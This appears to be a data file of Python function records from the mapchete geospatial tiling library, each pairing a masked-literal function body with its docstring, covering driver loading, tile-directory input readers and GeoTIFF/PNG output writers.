{"signature": "def open(self, tile, process):", "body": "raise NotImplementedError<EOL>", "docstring": "Open process output as input for other process.\n\nParameters\n----------\ntile : ``Tile``\nprocess : ``MapcheteProcess``", "id": "f12806:c2:m12"}
{"signature": "def _read_as_tiledir(<EOL>self,<EOL>out_tile=None,<EOL>td_crs=None,<EOL>tiles_paths=None,<EOL>profile=None,<EOL>validity_check=False,<EOL>indexes=None,<EOL>resampling=None,<EOL>dst_nodata=None,<EOL>gdal_opts=None,<EOL>**kwargs<EOL>):", "body": "return _read_as_tiledir(<EOL>data_type=self.METADATA[\"<STR_LIT>\"],<EOL>out_tile=out_tile,<EOL>td_crs=td_crs,<EOL>tiles_paths=tiles_paths,<EOL>profile=profile,<EOL>validity_check=validity_check,<EOL>indexes=indexes,<EOL>resampling=resampling,<EOL>dst_nodata=dst_nodata,<EOL>gdal_opts=gdal_opts,<EOL>**{k: v for k, v in kwargs.items() if k != \"<STR_LIT>\"}<EOL>)<EOL>", "docstring": "Read reprojected & resampled input data.\n\nParameters\n----------\nvalidity_check : bool\n    vector file: also run checks if reprojected geometry is valid,\n    otherwise throw RuntimeError (default: True)\n\nindexes : list or int\n    raster file: a list of band numbers; None will read all.\ndst_nodata : int or float, optional\n    raster file: if not set, the nodata value from the source dataset\n    will be used\ngdal_opts : dict\n    raster file: GDAL options passed on to rasterio.Env()\n\nReturns\n-------\ndata : list for vector files or numpy array for raster files", "id": "f12806:c2:m13"}
{"signature": "def available_output_formats():", "body": "output_formats = []<EOL>for v in pkg_resources.iter_entry_points(DRIVERS_ENTRY_POINT):<EOL><INDENT>driver_ = v.load()<EOL>if hasattr(driver_, \"<STR_LIT>\") and (<EOL>driver_.METADATA[\"<STR_LIT>\"] in [\"<STR_LIT:w>\", \"<STR_LIT>\"]<EOL>):<EOL><INDENT>output_formats.append(driver_.METADATA[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>return output_formats<EOL>", "docstring": "Return all available output formats.\n\nReturns\n-------\nformats : list\n    all available output formats", "id": "f12807:m1"}
{"signature": "def available_input_formats():", "body": "input_formats = []<EOL>for v in pkg_resources.iter_entry_points(DRIVERS_ENTRY_POINT):<EOL><INDENT>logger.debug(\"<STR_LIT>\", v)<EOL>driver_ = v.load()<EOL>if hasattr(driver_, \"<STR_LIT>\") and (driver_.METADATA[\"<STR_LIT>\"] in [\"<STR_LIT:r>\", \"<STR_LIT>\"]):<EOL><INDENT>input_formats.append(driver_.METADATA[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>return input_formats<EOL>", "docstring": "Return all available input formats.\n\nReturns\n-------\nformats : list\n    all available input formats", "id": "f12807:m2"}
{"signature": "def load_output_writer(output_params, readonly=False):", "body": "if not isinstance(output_params, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>driver_name = output_params[\"<STR_LIT>\"]<EOL>for v in pkg_resources.iter_entry_points(DRIVERS_ENTRY_POINT):<EOL><INDENT>_driver = v.load()<EOL>if all(<EOL>[hasattr(_driver, attr) for attr in [\"<STR_LIT>\", \"<STR_LIT>\"]]<EOL>) and (<EOL>_driver.METADATA[\"<STR_LIT>\"] == driver_name<EOL>):<EOL><INDENT>return _driver.OutputData(output_params, readonly=readonly)<EOL><DEDENT><DEDENT>raise MapcheteDriverError(\"<STR_LIT>\" % driver_name)<EOL>", "docstring": "Return output class of driver.\n\nReturns\n-------\noutput : ``OutputData``\n    output writer object", "id": "f12807:m3"}
{"signature": "def load_input_reader(input_params, readonly=False):", "body": "logger.debug(\"<STR_LIT>\", input_params)<EOL>if not isinstance(input_params, dict):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in input_params:<EOL><INDENT>driver_name = input_params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL><DEDENT>elif \"<STR_LIT:path>\" in input_params:<EOL><INDENT>if os.path.splitext(input_params[\"<STR_LIT:path>\"])[<NUM_LIT:1>]:<EOL><INDENT>input_file = input_params[\"<STR_LIT:path>\"]<EOL>driver_name = driver_from_file(input_file)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\", input_params[\"<STR_LIT:path>\"])<EOL>driver_name = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise MapcheteDriverError(\"<STR_LIT>\" % input_params)<EOL><DEDENT>for v in pkg_resources.iter_entry_points(DRIVERS_ENTRY_POINT):<EOL><INDENT>driver_ = v.load()<EOL>if hasattr(driver_, \"<STR_LIT>\") and (<EOL>driver_.METADATA[\"<STR_LIT>\"] == driver_name<EOL>):<EOL><INDENT>return v.load().InputData(input_params, readonly=readonly)<EOL><DEDENT><DEDENT>raise MapcheteDriverError(\"<STR_LIT>\" % driver_name)<EOL>", "docstring": "Return input class of driver.\n\nReturns\n-------\ninput_params : ``InputData``\n    input parameters", "id": "f12807:m4"}
{"signature": "def driver_from_file(input_file):", "body": "file_ext = os.path.splitext(input_file)[<NUM_LIT:1>].split(\"<STR_LIT:.>\")[<NUM_LIT:1>]<EOL>if file_ext not in _file_ext_to_driver():<EOL><INDENT>raise MapcheteDriverError(<EOL>\"<STR_LIT>\" % file_ext<EOL>)<EOL><DEDENT>driver = _file_ext_to_driver()[file_ext]<EOL>if len(driver) > <NUM_LIT:1>:<EOL><INDENT>warnings.warn(<EOL>DeprecationWarning(<EOL>\"<STR_LIT>\" % driver[<NUM_LIT:0>]<EOL>)<EOL>)<EOL><DEDENT>return driver[<NUM_LIT:0>]<EOL>", "docstring": "Guess driver from file extension.\n\nReturns\n-------\ndriver : string\n    driver name", "id": "f12807:m5"}
{"signature": "def write_output_metadata(output_params):", "body": "if \"<STR_LIT:path>\" in output_params:<EOL><INDENT>metadata_path = os.path.join(output_params[\"<STR_LIT:path>\"], \"<STR_LIT>\")<EOL>logger.debug(\"<STR_LIT>\", metadata_path)<EOL>try:<EOL><INDENT>existing_params = read_output_metadata(metadata_path)<EOL>logger.debug(\"<STR_LIT>\", metadata_path)<EOL>logger.debug(\"<STR_LIT>\", pformat(existing_params))<EOL>existing_tp = existing_params[\"<STR_LIT>\"]<EOL>current_params = params_to_dump(output_params)<EOL>logger.debug(\"<STR_LIT>\", pformat(current_params))<EOL>current_tp = BufferedTilePyramid(**current_params[\"<STR_LIT>\"])<EOL>if existing_tp != current_tp:<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (existing_tp, current_tp)<EOL>)<EOL><DEDENT>existing_format = existing_params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>current_format = current_params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>if existing_format != current_format:<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>(existing_format, current_format)<EOL>)<EOL>)<EOL><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>logger.debug(\"<STR_LIT>\", metadata_path)<EOL>dump_params = params_to_dump(output_params)<EOL>write_json(metadata_path, dump_params)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Dump output JSON and verify parameters if output metadata exist.", "id": "f12807:m8"}
{"signature": "def __init__(self, input_params, **kwargs):", "body": "super(InputData, self).__init__(input_params, **kwargs)<EOL>self.path = input_params[\"<STR_LIT:path>\"]<EOL>self.process = Mapchete(MapcheteConfig(<EOL>self.path, mode=\"<STR_LIT>\",<EOL>bounds=input_params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>))<EOL>", "docstring": "Initialize.", "id": "f12809:c0:m0"}
{"signature": "def open(self, tile, **kwargs):", "body": "return self.process.config.output.open(tile, self.process, **kwargs)<EOL>", "docstring": "Return InputTile object.\n\nParameters\n----------\ntile : ``Tile``\n\nReturns\n-------\ninput tile : ``InputTile``\n    tile view of input data", "id": "f12809:c0:m1"}
{"signature": "def bbox(self, out_crs=None):", "body": "return reproject_geometry(<EOL>self.process.config.area_at_zoom(),<EOL>src_crs=self.process.config.process_pyramid.crs,<EOL>dst_crs=self.pyramid.crs if out_crs is None else out_crs<EOL>)<EOL>", "docstring": "Return data bounding box.\n\nParameters\n----------\nout_crs : ``rasterio.crs.CRS``\n    rasterio CRS object (default: CRS of process pyramid)\n\nReturns\n-------\nbounding box : geometry\n    Shapely geometry object", "id": "f12809:c0:m2"}
{"signature": "def __init__(self, input_params, **kwargs):", "body": "super(InputData, self).__init__(input_params, **kwargs)<EOL>self.path = input_params[\"<STR_LIT:path>\"]<EOL>", "docstring": "Initialize.", "id": "f12810:c0:m0"}
{"signature": "def open(self, tile, **kwargs):", "body": "return InputTile(tile, self, **kwargs)<EOL>", "docstring": "Return InputTile object.\n\nParameters\n----------\ntile : ``Tile``\n\nReturns\n-------\ninput tile : ``InputTile``\n    tile view of input data", "id": "f12810:c0:m1"}
{"signature": "def bbox(self, out_crs=None):", "body": "out_crs = self.pyramid.crs if out_crs is None else out_crs<EOL>with fiona.open(self.path) as inp:<EOL><INDENT>inp_crs = CRS(inp.crs)<EOL>bbox = box(*inp.bounds)<EOL><DEDENT>return reproject_geometry(bbox, src_crs=inp_crs, dst_crs=out_crs)<EOL>", "docstring": "Return data bounding box.\n\nParameters\n----------\nout_crs : ``rasterio.crs.CRS``\n    rasterio CRS object (default: CRS of process pyramid)\n\nReturns\n-------\nbounding box : geometry\n    Shapely geometry object", "id": "f12810:c0:m2"}
{"signature": "def __init__(self, tile, vector_file, **kwargs):", "body": "self.tile = tile<EOL>self.vector_file = vector_file<EOL>self._cache = {}<EOL>", "docstring": "Initialize.", "id": "f12810:c1:m0"}
{"signature": "def read(self, validity_check=True, **kwargs):", "body": "return [] if self.is_empty() else self._read_from_cache(validity_check)<EOL>", "docstring": "Read reprojected & resampled input data.\n\nParameters\n----------\nvalidity_check : bool\n    also run checks if reprojected geometry is valid, otherwise throw\n    RuntimeError (default: True)\n\nReturns\n-------\ndata : list", "id": "f12810:c1:m1"}
{"signature": "def is_empty(self):", "body": "if not self.tile.bbox.intersects(self.vector_file.bbox()):<EOL><INDENT>return True<EOL><DEDENT>return len(self._read_from_cache(True)) == <NUM_LIT:0><EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12810:c1:m2"}
{"signature": "def __init__(self, output_params, **kwargs):", "body": "super(OutputData, self).__init__(output_params)<EOL>self.path = output_params[\"<STR_LIT:path>\"]<EOL>self.file_extension = \"<STR_LIT>\"<EOL>self.output_params = output_params<EOL>self.nodata = output_params.get(\"<STR_LIT>\", GTIFF_DEFAULT_PROFILE[\"<STR_LIT>\"])<EOL>self._bucket = self.path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>] if self.path.startswith(\"<STR_LIT>\") else None<EOL>", "docstring": "Initialize.", "id": "f12811:c0:m0"}
{"signature": "def read(self, output_tile, **kwargs):", "body": "try:<EOL><INDENT>return read_raster_no_crs(self.get_path(output_tile))<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return self.empty(output_tile)<EOL><DEDENT>", "docstring": "Read existing process output.\n\nParameters\n----------\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nNumPy array", "id": "f12811:c0:m1"}
{"signature": "def write(self, process_tile, data):", "body": "if (<EOL>isinstance(data, tuple) and<EOL>len(data) == <NUM_LIT:2> and<EOL>isinstance(data[<NUM_LIT:1>], dict)<EOL>):<EOL><INDENT>data, tags = data<EOL><DEDENT>else:<EOL><INDENT>tags = {}<EOL><DEDENT>data = prepare_array(<EOL>data,<EOL>masked=True,<EOL>nodata=self.nodata,<EOL>dtype=self.profile(process_tile)[\"<STR_LIT>\"]<EOL>)<EOL>if data.mask.all():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>bucket_resource = get_boto3_bucket(self._bucket) if self._bucket else None<EOL>for tile in self.pyramid.intersecting(process_tile):<EOL><INDENT>out_path = self.get_path(tile)<EOL>self.prepare_path(tile)<EOL>out_tile = BufferedTile(tile, self.pixelbuffer)<EOL>write_raster_window(<EOL>in_tile=process_tile,<EOL>in_data=data,<EOL>out_profile=self.profile(out_tile),<EOL>out_tile=out_tile,<EOL>out_path=out_path,<EOL>tags=tags,<EOL>bucket_resource=bucket_resource<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Write data from process tiles into GeoTIFF file(s).\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\ndata : ``np.ndarray``", "id": "f12811:c0:m2"}
{"signature": "def is_valid_with_config(self, config):", "body": "return validate_values(<EOL>config, [<EOL>(\"<STR_LIT>\", int),<EOL>(\"<STR_LIT:path>\", str),<EOL>(\"<STR_LIT>\", str)]<EOL>)<EOL>", "docstring": "Check if output format is valid with other process parameters.\n\nParameters\n----------\nconfig : dictionary\n    output configuration parameters\n\nReturns\n-------\nis_valid : bool", "id": "f12811:c0:m3"}
{"signature": "def profile(self, tile=None):", "body": "dst_metadata = GTIFF_DEFAULT_PROFILE<EOL>dst_metadata.pop(\"<STR_LIT>\", None)<EOL>dst_metadata.update(<EOL>count=self.output_params[\"<STR_LIT>\"],<EOL>dtype=self.output_params[\"<STR_LIT>\"],<EOL>driver=\"<STR_LIT>\"<EOL>)<EOL>if tile is not None:<EOL><INDENT>dst_metadata.update(<EOL>crs=tile.crs, width=tile.width, height=tile.height,<EOL>affine=tile.affine)<EOL><DEDENT>else:<EOL><INDENT>for k in [\"<STR_LIT>\", \"<STR_LIT:width>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>dst_metadata.pop(k, None)<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in self.output_params:<EOL><INDENT>dst_metadata.update(nodata=self.output_params[\"<STR_LIT>\"])<EOL><DEDENT>try:<EOL><INDENT>if \"<STR_LIT>\" in self.output_params:<EOL><INDENT>warnings.warn(<EOL>DeprecationWarning(\"<STR_LIT>\")<EOL>)<EOL>dst_metadata.update(compress=self.output_params[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>dst_metadata.update(compress=self.output_params[\"<STR_LIT>\"])<EOL><DEDENT>dst_metadata.update(predictor=self.output_params[\"<STR_LIT>\"])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return dst_metadata<EOL>", "docstring": "Create a metadata dictionary for rasterio.\n\nParameters\n----------\ntile : ``BufferedTile``\n\nReturns\n-------\nmetadata : dictionary\n    output profile dictionary used for rasterio.", "id": "f12811:c0:m4"}
{"signature": "def empty(self, process_tile):", "body": "profile = self.profile(process_tile)<EOL>return ma.masked_array(<EOL>data=np.full(<EOL>(profile[\"<STR_LIT:count>\"], ) + process_tile.shape, profile[\"<STR_LIT>\"],<EOL>dtype=profile[\"<STR_LIT>\"]),<EOL>mask=True<EOL>)<EOL>", "docstring": "Return empty data.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\n\nReturns\n-------\nempty data : array\n    empty array with data type provided in output profile", "id": "f12811:c0:m5"}
{"signature": "def for_web(self, data):", "body": "return memory_file(<EOL>prepare_array(<EOL>data, masked=True, nodata=self.nodata, dtype=self.profile()[\"<STR_LIT>\"]<EOL>),<EOL>self.profile()<EOL>), \"<STR_LIT>\"<EOL>", "docstring": "Convert data to web output (raster only).\n\nParameters\n----------\ndata : array\n\nReturns\n-------\nweb data : array", "id": "f12811:c0:m6"}
{"signature": "def open(self, tile, process, **kwargs):", "body": "return InputTile(tile, process, kwargs.get(\"<STR_LIT>\", None))<EOL>", "docstring": "Open process output as input for other process.\n\nParameters\n----------\ntile : ``Tile``\nprocess : ``MapcheteProcess``\nkwargs : keyword arguments", "id": "f12811:c0:m7"}
{"signature": "def __init__(self, tile, process, resampling):", "body": "self.tile = tile<EOL>self.process = process<EOL>self.pixelbuffer = None<EOL>self.resampling = resampling<EOL>", "docstring": "Initialize.", "id": "f12811:c1:m0"}
{"signature": "def read(self, indexes=None, **kwargs):", "body": "band_indexes = self._get_band_indexes(indexes)<EOL>arr = self.process.get_raw_output(self.tile)<EOL>if len(band_indexes) == <NUM_LIT:1>:<EOL><INDENT>return arr[band_indexes[<NUM_LIT:0>] - <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return ma.concatenate([ma.expand_dims(arr[i - <NUM_LIT:1>], <NUM_LIT:0>) for i in band_indexes])<EOL><DEDENT>", "docstring": "Read reprojected & resampled input data.\n\nParameters\n----------\nindexes : integer or list\n    band number or list of band numbers\n\nReturns\n-------\ndata : array", "id": "f12811:c1:m1"}
{"signature": "def is_empty(self, indexes=None):", "body": "<EOL>return not self.tile.bbox.intersects(self.process.config.area_at_zoom())<EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12811:c1:m2"}
{"signature": "def _get_band_indexes(self, indexes=None):", "body": "if indexes:<EOL><INDENT>if isinstance(indexes, list):<EOL><INDENT>return indexes<EOL><DEDENT>else:<EOL><INDENT>return [indexes]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return range(<NUM_LIT:1>, self.process.config.output.profile(self.tile)[\"<STR_LIT:count>\"] + <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return valid band indexes.", "id": "f12811:c1:m3"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Enable context manager.", "id": "f12811:c1:m4"}
{"signature": "def __exit__(self, t, v, tb):", "body": "pass<EOL>", "docstring": "Clear cache on close.", "id": "f12811:c1:m5"}
{"signature": "def __init__(self, input_params, **kwargs):", "body": "super(InputData, self).__init__(input_params, **kwargs)<EOL>if \"<STR_LIT>\" in input_params:<EOL><INDENT>self._params = input_params[\"<STR_LIT>\"]<EOL>self.path = absolute_path(<EOL>path=self._params[\"<STR_LIT:path>\"],<EOL>base_dir=input_params[\"<STR_LIT>\"]<EOL>)<EOL>logger.debug(\"<STR_LIT>\", input_params)<EOL>self.td_pyramid = BufferedTilePyramid(<EOL>self._params[\"<STR_LIT>\"],<EOL>metatiling=self._params.get(\"<STR_LIT>\", <NUM_LIT:1>),<EOL>tile_size=self._params.get(\"<STR_LIT>\", <NUM_LIT>),<EOL>pixelbuffer=self._params.get(\"<STR_LIT>\", <NUM_LIT:0>)<EOL>)<EOL>self._read_as_tiledir_func = base._read_as_tiledir<EOL><DEDENT>elif \"<STR_LIT:path>\" in input_params:<EOL><INDENT>self.path = absolute_path(<EOL>path=input_params[\"<STR_LIT:path>\"], base_dir=input_params.get(\"<STR_LIT>\")<EOL>)<EOL>try:<EOL><INDENT>params = read_output_metadata(os.path.join(self.path, \"<STR_LIT>\"))<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>raise MapcheteConfigError(<EOL>\"<STR_LIT>\" % input_params[\"<STR_LIT:path>\"]<EOL>)<EOL><DEDENT>self.td_pyramid = params[\"<STR_LIT>\"]<EOL>self.output_data = load_output_writer(<EOL>dict(<EOL>params[\"<STR_LIT>\"],<EOL>metatiling=self.td_pyramid.metatiling,<EOL>pixelbuffer=self.td_pyramid.pixelbuffer,<EOL>pyramid=self.td_pyramid,<EOL>grid=self.td_pyramid.grid,<EOL>path=self.path<EOL>),<EOL>readonly=True<EOL>)<EOL>self._params = dict(<EOL>path=self.path,<EOL>grid=self.td_pyramid.grid.to_dict(),<EOL>metatiling=self.td_pyramid.metatiling,<EOL>pixelbuffer=self.td_pyramid.pixelbuffer,<EOL>tile_size=self.td_pyramid.tile_size,<EOL>extension=self.output_data.file_extension.split(\"<STR_LIT:.>\")[-<NUM_LIT:1>],<EOL>**params[\"<STR_LIT>\"]<EOL>)<EOL>self._read_as_tiledir_func = self.output_data._read_as_tiledir<EOL><DEDENT>validate_values(<EOL>self._params,<EOL>[<EOL>(\"<STR_LIT:path>\", str),<EOL>(\"<STR_LIT>\", (str, dict)),<EOL>(\"<STR_LIT>\", str)<EOL>]<EOL>)<EOL>self._ext = self._params[\"<STR_LIT>\"]<EOL>self._bounds = self._params.get(\"<STR_LIT>\", self.td_pyramid.bounds)<EOL>self._file_type = (<EOL>\"<STR_LIT>\" if self._params[\"<STR_LIT>\"] == \"<STR_LIT>\" else \"<STR_LIT>\"<EOL>)<EOL>if self._file_type == \"<STR_LIT>\":<EOL><INDENT>self._params[\"<STR_LIT:count>\"] = self._params.get(<EOL>\"<STR_LIT:count>\", self._params.get(\"<STR_LIT>\", None)<EOL>)<EOL>validate_values(self._params, [(\"<STR_LIT>\", str), (\"<STR_LIT:count>\", int)])<EOL>self._profile = {<EOL>\"<STR_LIT>\": self._params.get(\"<STR_LIT>\", <NUM_LIT:0>),<EOL>\"<STR_LIT>\": self._params[\"<STR_LIT>\"],<EOL>\"<STR_LIT:count>\": self._params[\"<STR_LIT:count>\"]<EOL>}<EOL><DEDENT>else:<EOL><INDENT>self._profile = None<EOL><DEDENT>", "docstring": "Initialize.", "id": "f12812:c0:m0"}
{"signature": "def open(<EOL>self,<EOL>tile,<EOL>tile_directory_zoom=None,<EOL>matching_method=\"<STR_LIT>\",<EOL>matching_max_zoom=None,<EOL>matching_precision=<NUM_LIT:8>,<EOL>fallback_to_higher_zoom=False,<EOL>resampling=\"<STR_LIT>\",<EOL>**kwargs<EOL>):", "body": "<EOL>td_bounds = reproject_geometry(<EOL>tile.bbox,<EOL>src_crs=tile.tp.crs,<EOL>dst_crs=self.td_pyramid.crs<EOL>).bounds<EOL>if tile_directory_zoom is not None:<EOL><INDENT>zoom = tile_directory_zoom<EOL><DEDENT>else:<EOL><INDENT>zoom = tile_to_zoom_level(<EOL>tile, dst_pyramid=self.td_pyramid, matching_method=matching_method,<EOL>precision=matching_precision<EOL>)<EOL>if matching_max_zoom is not None:<EOL><INDENT>zoom = min([zoom, matching_max_zoom])<EOL><DEDENT><DEDENT>if fallback_to_higher_zoom:<EOL><INDENT>tiles_paths = []<EOL>while len(tiles_paths) == <NUM_LIT:0> and zoom >= <NUM_LIT:0>:<EOL><INDENT>tiles_paths = _get_tiles_paths(<EOL>basepath=self.path,<EOL>ext=self._ext,<EOL>pyramid=self.td_pyramid,<EOL>bounds=td_bounds,<EOL>zoom=zoom<EOL>)<EOL>logger.debug(\"<STR_LIT>\", len(tiles_paths), zoom)<EOL>zoom -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>tiles_paths = _get_tiles_paths(<EOL>basepath=self.path,<EOL>ext=self._ext,<EOL>pyramid=self.td_pyramid,<EOL>bounds=td_bounds,<EOL>zoom=zoom<EOL>)<EOL>logger.debug(\"<STR_LIT>\", len(tiles_paths), zoom)<EOL><DEDENT>return InputTile(<EOL>tile,<EOL>tiles_paths=tiles_paths,<EOL>file_type=self._file_type,<EOL>profile=self._profile,<EOL>td_crs=self.td_pyramid.crs,<EOL>resampling=resampling,<EOL>read_as_tiledir_func=self._read_as_tiledir_func,<EOL>**kwargs<EOL>)<EOL>", "docstring": "Return InputTile object.\n\nParameters\n----------\ntile : ``Tile``\ntile_directory_zoom : None\n    If set, data will be read from exactly this zoom level\nmatching_method : str ('gdal' or 'min') (default: 'gdal')\n    gdal: Uses GDAL's standard method. Here, the target resolution is calculated\n        by averaging the extent's pixel sizes over both x and y axes. This\n        approach returns a zoom level which may not have the best quality but will\n        speed up reading significantly.\n    min: Returns the zoom level which matches the minimum resolution of the\n        extents four corner pixels. This approach returns the zoom level with the\n        best possible quality but with low performance. If the tile extent is\n        outside of the destination pyramid, a TopologicalError will be raised.\nmatching_max_zoom : int (default: None)\n    If set, it will prevent reading from zoom levels above the maximum.\nmatching_precision : int\n    Round resolutions to n digits before comparing.\nfallback_to_higher_zoom : bool (default: False)\n    In case no data is found at zoom level, try to read data from higher zoom\n    levels. Enabling this setting can lead to many IO requests in areas with no\n    data.\nresampling : string\n    raster file: one of \"nearest\", \"average\", \"bilinear\" or \"lanczos\"\n\nReturns\n-------\ninput tile : ``InputTile``\n    tile view of input data", "id": "f12812:c0:m1"}
{"signature": "def bbox(self, out_crs=None):", "body": "return reproject_geometry(<EOL>box(*self._bounds),<EOL>src_crs=self.td_pyramid.crs,<EOL>dst_crs=self.pyramid.crs if out_crs is None else out_crs<EOL>)<EOL>", "docstring": "Return data bounding box.\n\nParameters\n----------\nout_crs : ``rasterio.crs.CRS``\n    rasterio CRS object (default: CRS of process pyramid)\n\nReturns\n-------\nbounding box : geometry\n    Shapely geometry object", "id": "f12812:c0:m2"}
{"signature": "def __init__(self, tile, **kwargs):", "body": "self.tile = tile<EOL>self._tiles_paths = kwargs[\"<STR_LIT>\"]<EOL>self._file_type = kwargs[\"<STR_LIT>\"]<EOL>self._profile = kwargs[\"<STR_LIT>\"]<EOL>self._td_crs = kwargs[\"<STR_LIT>\"]<EOL>self._resampling = kwargs[\"<STR_LIT>\"]<EOL>self._read_as_tiledir = kwargs[\"<STR_LIT>\"]<EOL>", "docstring": "Initialize.", "id": "f12812:c1:m0"}
{"signature": "def read(<EOL>self,<EOL>validity_check=False,<EOL>indexes=None,<EOL>resampling=None,<EOL>dst_nodata=None,<EOL>gdal_opts=None,<EOL>**kwargs<EOL>):", "body": "return self._read_as_tiledir(<EOL>data_type=self._file_type,<EOL>out_tile=self.tile,<EOL>td_crs=self._td_crs,<EOL>tiles_paths=self._tiles_paths,<EOL>profile=self._profile,<EOL>validity_check=validity_check,<EOL>indexes=indexes,<EOL>resampling=resampling if resampling else self._resampling,<EOL>dst_nodata=dst_nodata,<EOL>gdal_opts=gdal_opts,<EOL>**{k: v for k, v in kwargs.items() if k != \"<STR_LIT>\"}<EOL>)<EOL>", "docstring": "Read reprojected & resampled input data.\n\nParameters\n----------\nvalidity_check : bool\n    vector file: also run checks if reprojected geometry is valid,\n    otherwise throw RuntimeError (default: True)\n\nindexes : list or int\n    raster file: a list of band numbers; None will read all.\ndst_nodata : int or float, optional\n    raster file: if not set, the nodata value from the source dataset\n    will be used\ngdal_opts : dict\n    raster file: GDAL options passed on to rasterio.Env()\n\nReturns\n-------\ndata : list for vector files or numpy array for raster files", "id": "f12812:c1:m1"}
{"signature": "def is_empty(self):", "body": "return len(self._tiles_paths) == <NUM_LIT:0><EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12812:c1:m2"}
{"signature": "def __init__(self, output_params, **kwargs):", "body": "super(OutputData, self).__init__(output_params)<EOL>self.path = output_params[\"<STR_LIT:path>\"]<EOL>self.file_extension = \"<STR_LIT>\"<EOL>self.output_params = output_params<EOL>self.output_params[\"<STR_LIT>\"] = PNG_DEFAULT_PROFILE[\"<STR_LIT>\"]<EOL>self.nodata = output_params.get(\"<STR_LIT>\", PNG_DEFAULT_PROFILE[\"<STR_LIT>\"])<EOL>self._bucket = self.path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>] if self.path.startswith(\"<STR_LIT>\") else None<EOL>", "docstring": "Initialize.", "id": "f12813:c0:m0"}
{"signature": "def write(self, process_tile, data):", "body": "rgba = self._prepare_array_for_png(data)<EOL>data = ma.masked_where(rgba == self.nodata, rgba)<EOL>if data.mask.all():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>bucket_resource = get_boto3_bucket(self._bucket) if self._bucket else None<EOL>for tile in self.pyramid.intersecting(process_tile):<EOL><INDENT>out_path = self.get_path(tile)<EOL>self.prepare_path(tile)<EOL>out_tile = BufferedTile(tile, self.pixelbuffer)<EOL>write_raster_window(<EOL>in_tile=process_tile,<EOL>in_data=data,<EOL>out_profile=self.profile(out_tile),<EOL>out_tile=out_tile,<EOL>out_path=out_path,<EOL>bucket_resource=bucket_resource<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Write data from one or more process tiles.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``", "id": "f12813:c0:m1"}
{"signature": "def read(self, output_tile, **kwargs):", "body": "try:<EOL><INDENT>return read_raster_no_crs(self.get_path(output_tile))<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return self.empty(output_tile)<EOL><DEDENT>", "docstring": "Read existing process output.\n\nParameters\n----------\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nprocess output : ``BufferedTile`` with appended data", "id": "f12813:c0:m2"}
{"signature": "def is_valid_with_config(self, config):", "body": "return validate_values(config, [(\"<STR_LIT:path>\", str)])<EOL>", "docstring": "Check if output format is valid with other process parameters.\n\nParameters\n----------\nconfig : dictionary\n    output configuration parameters\n\nReturns\n-------\nis_valid : bool", "id": "f12813:c0:m3"}
{"signature": "def profile(self, tile=None):", "body": "dst_metadata = PNG_DEFAULT_PROFILE<EOL>dst_metadata.pop(\"<STR_LIT>\", None)<EOL>if tile is not None:<EOL><INDENT>dst_metadata.update(<EOL>width=tile.width, height=tile.height, affine=tile.affine,<EOL>crs=tile.crs)<EOL><DEDENT>try:<EOL><INDENT>dst_metadata.update(count=self.output_params[\"<STR_LIT:count>\"])<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>return dst_metadata<EOL>", "docstring": "Create a metadata dictionary for rasterio.\n\nParameters\n----------\ntile : ``BufferedTile``\n\nReturns\n-------\nmetadata : dictionary\n    output profile dictionary used for rasterio.", "id": "f12813:c0:m4"}
{"signature": "def for_web(self, data):", "body": "rgba = self._prepare_array_for_png(data)<EOL>data = ma.masked_where(rgba == self.nodata, rgba)<EOL>return memory_file(data, self.profile()), '<STR_LIT>'<EOL>", "docstring": "Convert data to web output.\n\nParameters\n----------\ndata : array\n\nReturns\n-------\nweb data : array", "id": "f12813:c0:m5"}
